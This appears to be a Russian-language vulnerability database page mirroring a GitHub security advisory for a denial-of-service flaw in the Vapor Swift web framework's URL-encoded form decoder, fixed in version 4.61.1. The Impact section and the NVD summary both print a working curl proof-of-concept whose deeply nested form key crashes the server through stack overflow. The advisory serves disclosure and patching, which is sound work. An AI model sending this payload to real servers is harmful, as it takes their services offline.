Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-qvxg-wjxc-r4gg

Опубликовано: 07 июн. 2023
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

Vapor vulnerable to denial of service in URLEncodedFormDecoder

Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.

Impact

When using automatic content decoding, e.g.

app.post("foo") { request -> String in let foo = try request.content.decode(Foo.self) return "\(foo)" }

An attacker can craft a request body that can make the server crash with the following request:

curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo

The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.

Patches

Fixed in 4.61.1

Workarounds

If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift

var contentConfig = ContentConfiguration() contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json) contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json) contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI) contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI) ContentConfiguration.global = contentConfig

For more information

If you have any questions or comments about this advisory:

Пакеты

Наименование

github.com/vapor/vapor

Затронутые версииВерсия исправления

< 4.61.1

4.61.1

EPSS

Процентиль: 61%
0.00417
Низкий

7.5 High

CVSS3

Дефекты

CWE-120
CWE-121
CWE-674

Связанные уязвимости

CVSS3: 7.5
nvd
больше 3 лет назад

Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.

EPSS

Процентиль: 61%
0.00417
Низкий

7.5 High

CVSS3

Дефекты

CWE-120
CWE-121
CWE-674